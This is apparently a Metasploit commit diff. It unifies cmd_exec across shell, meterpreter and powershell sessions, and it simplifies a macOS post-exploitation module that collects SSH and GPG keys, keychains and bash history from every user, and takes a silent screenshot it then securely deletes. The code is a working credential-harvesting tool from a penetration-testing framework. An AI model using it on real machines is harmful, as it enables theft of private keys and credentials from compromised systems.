Land #10048, Make shell and meterpreter sessions consistent with cmd_exec
commit
b14e354b25
|
@ -80,31 +80,10 @@ module Msf::Post::Common
|
||||||
#
|
#
|
||||||
# Returns a (possibly multi-line) String.
|
# Returns a (possibly multi-line) String.
|
||||||
#
|
#
|
||||||
def cmd_exec(cmd, args=nil, time_out=15)
|
def cmd_exec(cmd, args="", time_out=15)
|
||||||
case session.type
|
case session.type
|
||||||
when /meterpreter/
|
when /meterpreter/
|
||||||
#
|
|
||||||
# The meterpreter API requires arguments to come separately from the
|
|
||||||
# executable path. This has no effect on Windows where the two are just
|
|
||||||
# blithely concatenated and passed to CreateProcess or its brethren. On
|
|
||||||
# POSIX, this allows the server to execve just the executable when a
|
|
||||||
# shell is not needed. Determining when a shell is not needed is not
|
|
||||||
# always easy, so it assumes anything with arguments needs to go through
|
|
||||||
# /bin/sh.
|
|
||||||
#
|
|
||||||
# This problem was originally solved by using Shellwords.shellwords but
|
|
||||||
# unfortunately, it is unsuitable. When a backslash occurs inside double
|
|
||||||
# quotes (as is often the case with Windows commands) it inexplicably
|
|
||||||
# removes them. So. Shellwords is out.
|
|
||||||
#
|
|
||||||
# By setting +args+ to an empty string, we can get POSIX to send it
|
|
||||||
# through /bin/sh, solving all the pesky parsing troubles, without
|
|
||||||
# affecting Windows.
|
|
||||||
#
|
|
||||||
start = Time.now.to_i
|
start = Time.now.to_i
|
||||||
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
|
|
||||||
args = ""
|
|
||||||
end
|
|
||||||
|
|
||||||
session.response_timeout = time_out
|
session.response_timeout = time_out
|
||||||
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
|
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
|
||||||
|
@ -120,7 +99,6 @@ module Msf::Post::Common
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
o.chomp! if o
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
process.channel.close
|
process.channel.close
|
||||||
|
@ -130,22 +108,12 @@ module Msf::Post::Common
|
||||||
|
|
||||||
process.close
|
process.close
|
||||||
when /powershell/
|
when /powershell/
|
||||||
if args.nil? || args.empty?
|
o = session.shell_command("#{cmd} #{args}", time_out)
|
||||||
o = session.shell_command("#{cmd}", time_out)
|
|
||||||
else
|
|
||||||
o = session.shell_command("#{cmd} #{args}", time_out)
|
|
||||||
end
|
|
||||||
o.chomp! if o
|
|
||||||
when /shell/
|
when /shell/
|
||||||
if args.nil? || args.empty?
|
o = session.shell_command_token("#{cmd} #{args}", time_out)
|
||||||
o = session.shell_command_token("#{cmd}", time_out)
|
|
||||||
else
|
|
||||||
o = session.shell_command_token("#{cmd} #{args}", time_out)
|
|
||||||
end
|
|
||||||
o.chomp! if o
|
|
||||||
end
|
end
|
||||||
return "" if o.nil?
|
|
||||||
return o
|
o ? o.chomp : ""
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_exec_get_pid(cmd, args=nil, time_out=15)
|
def cmd_exec_get_pid(cmd, args=nil, time_out=15)
|
||||||
|
|
|
@ -30,7 +30,7 @@ class MetasploitModule < Msf::Post
|
||||||
when /meterpreter/
|
when /meterpreter/
|
||||||
host = sysinfo["Computer"]
|
host = sysinfo["Computer"]
|
||||||
when /shell/
|
when /shell/
|
||||||
host = cmd_exec("hostname").chomp
|
host = cmd_exec("hostname")
|
||||||
end
|
end
|
||||||
print_status("Running module against #{host}")
|
print_status("Running module against #{host}")
|
||||||
running_root = check_root
|
running_root = check_root
|
||||||
|
@ -84,7 +84,7 @@ class MetasploitModule < Msf::Post
|
||||||
when /meterpreter/
|
when /meterpreter/
|
||||||
host = Rex::FileUtils.clean_path(sysinfo['Computer'])
|
host = Rex::FileUtils.clean_path(sysinfo['Computer'])
|
||||||
when /shell/
|
when /shell/
|
||||||
host = Rex::FileUtils.clean_path(cmd_exec('hostname').chomp)
|
host = Rex::FileUtils.clean_path(cmd_exec('hostname'))
|
||||||
end
|
end
|
||||||
|
|
||||||
# Create Filename info to be appended to downloaded files
|
# Create Filename info to be appended to downloaded files
|
||||||
|
@ -105,42 +105,19 @@ class MetasploitModule < Msf::Post
|
||||||
# Checks if running as root on the target
|
# Checks if running as root on the target
|
||||||
def check_root
|
def check_root
|
||||||
# Get only the account ID
|
# Get only the account ID
|
||||||
case session.type
|
cmd_exec("/usr/bin/id", "-ru") == "0"
|
||||||
when /shell/
|
|
||||||
id = cmd_exec("/usr/bin/id -ru").chomp
|
|
||||||
when /meterpreter/
|
|
||||||
id = cmd_exec("/usr/bin/id", "-ru").chomp
|
|
||||||
end
|
|
||||||
|
|
||||||
if id == "0"
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Checks if the target is OSX Server
|
# Checks if the target is OSX Server
|
||||||
def check_server
|
def check_server
|
||||||
# Get the OS Name
|
# Get the OS Name
|
||||||
case session.type
|
cmd_exec("/usr/bin/sw_vers", "-productName") =~/Server/
|
||||||
when /meterpreter/
|
|
||||||
osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp
|
|
||||||
when /shell/
|
|
||||||
osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp
|
|
||||||
end
|
|
||||||
return osx_ver =~/Server/
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Enumerate the OS Version
|
# Enumerate the OS Version
|
||||||
def get_ver
|
def get_ver
|
||||||
# Get the OS Version
|
# Get the OS Version
|
||||||
case session.type
|
cmd_exec('/usr/bin/sw_vers', '-productVersion')
|
||||||
when /meterpreter/
|
|
||||||
osx_ver_num = cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp
|
|
||||||
when /shell/
|
|
||||||
osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp
|
|
||||||
end
|
|
||||||
return osx_ver_num
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def enum_conf(log_folder)
|
def enum_conf(log_folder)
|
||||||
|
@ -176,35 +153,18 @@ class MetasploitModule < Msf::Post
|
||||||
# Enumerate first using System Profiler
|
# Enumerate first using System Profiler
|
||||||
profile_datatypes.each do |name, profile_datatypes|
|
profile_datatypes.each do |name, profile_datatypes|
|
||||||
print_status("\tEnumerating #{name}")
|
print_status("\tEnumerating #{name}")
|
||||||
# Run commands according to the session type
|
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
|
||||||
if session.type =~ /meterpreter/
|
# Save data lo log folder
|
||||||
returned_data = cmd_exec('system_profiler', profile_datatypes)
|
file_local_write(log_folder+"//#{name}.txt", returned_data)
|
||||||
# Save data lo log folder
|
|
||||||
file_local_write(log_folder+"//#{name}.txt",returned_data)
|
|
||||||
elsif session.type =~ /shell/
|
|
||||||
begin
|
|
||||||
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
|
|
||||||
# Save data lo log folder
|
|
||||||
file_local_write(log_folder+"//#{name}.txt",returned_data)
|
|
||||||
rescue
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Enumerate using system commands
|
# Enumerate using system commands
|
||||||
shell_commands.each do |name, command|
|
shell_commands.each do |name, command|
|
||||||
print_status("\tEnumerating #{name}")
|
print_status("\tEnumerating #{name}")
|
||||||
# Run commands according to the session type
|
command_output = cmd_exec(command[0],command[1])
|
||||||
|
# Save data lo log folder
|
||||||
begin
|
begin
|
||||||
if session.type =~ /meterpreter/
|
file_local_write(log_folder+"//#{name}.txt",command_output)
|
||||||
command_output = cmd_exec(command[0],command[1])
|
|
||||||
# Save data lo log folder
|
|
||||||
file_local_write(log_folder+"//#{name}.txt",command_output)
|
|
||||||
elsif session.type =~ /shell/
|
|
||||||
command_output = cmd_exec(command[0], command[1])
|
|
||||||
# Save data lo log folder
|
|
||||||
file_local_write(log_folder+"//#{name}.txt",command_output)
|
|
||||||
end
|
|
||||||
rescue
|
rescue
|
||||||
print_error("failed to run #{name}")
|
print_error("failed to run #{name}")
|
||||||
end
|
end
|
||||||
|
@ -231,22 +191,9 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
shell_commands.each do |name, command|
|
shell_commands.each do |name, command|
|
||||||
print_status("\tEnumerating #{name}")
|
print_status("\tEnumerating #{name}")
|
||||||
|
command_output = cmd_exec(command[0], command[1])
|
||||||
# Run commands according to the session type
|
# Save data lo log folder
|
||||||
if session.type =~ /meterpreter/
|
file_local_write(log_folder+"//#{name}.txt", command_output)
|
||||||
|
|
||||||
command_output = cmd_exec(command[0], command[1])
|
|
||||||
|
|
||||||
# Save data lo log folder
|
|
||||||
file_local_write(log_folder+"//#{name}.txt", command_output)
|
|
||||||
|
|
||||||
elsif session.type =~ /shell/
|
|
||||||
|
|
||||||
command_output = cmd_exec(command.join(' '))
|
|
||||||
|
|
||||||
# Save data lo log folder
|
|
||||||
file_local_write(log_folder + "//#{name}.txt", command_output)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -260,12 +207,12 @@ class MetasploitModule < Msf::Post
|
||||||
if not check_root
|
if not check_root
|
||||||
|
|
||||||
# Enumerate the home folder content
|
# Enumerate the home folder content
|
||||||
home_folder_list = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
|
home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ")
|
||||||
|
|
||||||
# Check for SSH folder and extract keys if found
|
# Check for SSH folder and extract keys if found
|
||||||
if home_folder_list.include?("\.ssh")
|
if home_folder_list.include?("\.ssh")
|
||||||
print_status(".ssh Folder is present")
|
print_status(".ssh Folder is present")
|
||||||
ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").chomp.split(", ")
|
ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").split(", ")
|
||||||
ssh_folder.each do |k|
|
ssh_folder.each do |k|
|
||||||
next if k =~/^\.$|^\.\.$/
|
next if k =~/^\.$|^\.\.$/
|
||||||
print_status("\tDownloading #{k.strip}")
|
print_status("\tDownloading #{k.strip}")
|
||||||
|
@ -279,7 +226,7 @@ class MetasploitModule < Msf::Post
|
||||||
# Check for GPG and extract keys if found
|
# Check for GPG and extract keys if found
|
||||||
if home_folder_list.include?("\.gnupg")
|
if home_folder_list.include?("\.gnupg")
|
||||||
print_status(".gnupg Folder is present")
|
print_status(".gnupg Folder is present")
|
||||||
gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").chomp.split(", ")
|
gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").split(", ")
|
||||||
gnugpg_folder.each do |k|
|
gnugpg_folder.each do |k|
|
||||||
next if k =~/^\.$|^\.\.$/
|
next if k =~/^\.$|^\.\.$/
|
||||||
print_status("\tDownloading #{k.strip}")
|
print_status("\tDownloading #{k.strip}")
|
||||||
|
@ -291,22 +238,17 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
users = []
|
users = []
|
||||||
case session.type
|
users_folder = cmd_exec("/bin/ls","/Users")
|
||||||
when /meterpreter/
|
|
||||||
users_folder = cmd_exec("/bin/ls","/Users")
|
|
||||||
when /shell/
|
|
||||||
users_folder = cmd_exec("/bin/ls /Users")
|
|
||||||
end
|
|
||||||
users_folder.each_line do |u|
|
users_folder.each_line do |u|
|
||||||
next if u.chomp =~ /Shared|\.localized/
|
next if u.chomp =~ /Shared|\.localized/
|
||||||
users << u.chomp
|
users << u.chomp
|
||||||
end
|
end
|
||||||
|
|
||||||
users.each do |u|
|
users.each do |u|
|
||||||
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
|
||||||
if user_folder.include?("\.ssh")
|
if user_folder.include?("\.ssh")
|
||||||
print_status(".ssh Folder is present for #{u}")
|
print_status(".ssh Folder is present for #{u}")
|
||||||
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ")
|
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(", ")
|
||||||
ssh_folder.each do |k|
|
ssh_folder.each do |k|
|
||||||
next if k =~/^\.$|^\.\.$/
|
next if k =~/^\.$|^\.\.$/
|
||||||
print_status("\tDownloading #{k.strip}")
|
print_status("\tDownloading #{k.strip}")
|
||||||
|
@ -320,10 +262,10 @@ class MetasploitModule < Msf::Post
|
||||||
|
|
||||||
|
|
||||||
users.each do |u|
|
users.each do |u|
|
||||||
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
|
||||||
if user_folder.include?("\.ssh")
|
if user_folder.include?("\.ssh")
|
||||||
print_status(".gnupg Folder is present for #{u}")
|
print_status(".gnupg Folder is present for #{u}")
|
||||||
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ")
|
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(", ")
|
||||||
ssh_folder.each do |k|
|
ssh_folder.each do |k|
|
||||||
next if k =~/^\.$|^\.\.$/
|
next if k =~/^\.$|^\.\.$/
|
||||||
print_status("\tDownloading #{k.strip}")
|
print_status("\tDownloading #{k.strip}")
|
||||||
|
@ -356,13 +298,10 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
# Run commands according to the session type
|
cmd_exec("/usr/sbin/screencapture", "-x /tmp/#{picture_name}.jpg")
|
||||||
if session.type =~ /shell/
|
file_local_write(log_folder+"//screenshot.jpg",
|
||||||
cmd_exec("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg")
|
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
|
||||||
file_local_write(log_folder+"//screenshot.jpg",
|
cmd_exec("/usr/bin/srm", "-m -z /tmp/#{picture_name}.jpg")
|
||||||
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
|
|
||||||
cmd_exec("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
print_status("Screenshot Captured")
|
print_status("Screenshot Captured")
|
||||||
end
|
end
|
||||||
|
@ -370,16 +309,9 @@ class MetasploitModule < Msf::Post
|
||||||
|
|
||||||
def dump_bash_history(log_folder)
|
def dump_bash_history(log_folder)
|
||||||
print_status("Extracting history files")
|
print_status("Extracting history files")
|
||||||
# Run commands according to the session type
|
|
||||||
users = []
|
users = []
|
||||||
case session.type
|
users_folder = cmd_exec("/bin/ls","/Users")
|
||||||
when /meterpreter/
|
current_user = cmd_exec("/usr/bin/id","-nu")
|
||||||
users_folder = cmd_exec("/bin/ls","/Users").chomp
|
|
||||||
current_user = cmd_exec("/usr/bin/id","-nu").chomp
|
|
||||||
when /shell/
|
|
||||||
users_folder = cmd_exec("/bin/ls /Users").chomp
|
|
||||||
current_user = cmd_exec("/usr/bin/id -nu").chomp
|
|
||||||
end
|
|
||||||
users_folder.each_line do |u|
|
users_folder.each_line do |u|
|
||||||
next if u.chomp =~ /Shared|\.localized/
|
next if u.chomp =~ /Shared|\.localized/
|
||||||
users << u.chomp
|
users << u.chomp
|
||||||
|
@ -389,7 +321,7 @@ class MetasploitModule < Msf::Post
|
||||||
if current_user == "root"
|
if current_user == "root"
|
||||||
|
|
||||||
# Check the root user folder
|
# Check the root user folder
|
||||||
root_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
|
root_folder = cmd_exec("/bin/ls -ma ~/").split(", ")
|
||||||
root_folder.each do |f|
|
root_folder.each do |f|
|
||||||
if f =~ /\.\w*\_history/
|
if f =~ /\.\w*\_history/
|
||||||
print_status("\tHistory file #{f.strip} found for root")
|
print_status("\tHistory file #{f.strip} found for root")
|
||||||
|
@ -405,7 +337,7 @@ class MetasploitModule < Msf::Post
|
||||||
users.each do |u|
|
users.each do |u|
|
||||||
|
|
||||||
# Lets get a list of all the files on the users folder and place them in an array
|
# Lets get a list of all the files on the users folder and place them in an array
|
||||||
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
|
||||||
user_folder.each do |f|
|
user_folder.each do |f|
|
||||||
if f =~ /\.\w*\_history/
|
if f =~ /\.\w*\_history/
|
||||||
print_status("\tHistory file #{f.strip} found for #{u}")
|
print_status("\tHistory file #{f.strip} found for #{u}")
|
||||||
|
@ -419,7 +351,7 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
else
|
else
|
||||||
current_user_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
|
current_user_folder = cmd_exec("/bin/ls -ma ~/").split(", ")
|
||||||
current_user_folder.each do |f|
|
current_user_folder.each do |f|
|
||||||
if f =~ /\.\w*\_history/
|
if f =~ /\.\w*\_history/
|
||||||
print_status("\tHistory file #{f.strip} found for #{current_user}")
|
print_status("\tHistory file #{f.strip} found for #{current_user}")
|
||||||
|
@ -436,12 +368,7 @@ class MetasploitModule < Msf::Post
|
||||||
# Download configured Keychains
|
# Download configured Keychains
|
||||||
def get_keychains(log_folder)
|
def get_keychains(log_folder)
|
||||||
users = []
|
users = []
|
||||||
case session.type
|
users_folder = cmd_exec("/bin/ls","/Users")
|
||||||
when /meterpreter/
|
|
||||||
users_folder = cmd_exec("/bin/ls","/Users").chomp
|
|
||||||
when /shell/
|
|
||||||
users_folder = cmd_exec("/bin/ls /Users").chomp
|
|
||||||
end
|
|
||||||
users_folder.each_line do |u|
|
users_folder.each_line do |u|
|
||||||
next if u.chomp =~ /Shared|\.localized/
|
next if u.chomp =~ /Shared|\.localized/
|
||||||
users << u.chomp
|
users << u.chomp
|
||||||
|
@ -459,7 +386,7 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
current_user = cmd_exec("/usr/bin/id -nu").chomp
|
current_user = cmd_exec("/usr/bin/id -nu")
|
||||||
print_status("Enumerating and Downloading keychains for #{current_user}")
|
print_status("Enumerating and Downloading keychains for #{current_user}")
|
||||||
keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n")
|
keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n")
|
||||||
keychain_files.each do |k|
|
keychain_files.each do |k|
|
||||||
|
|
Loading…
Reference in New Issue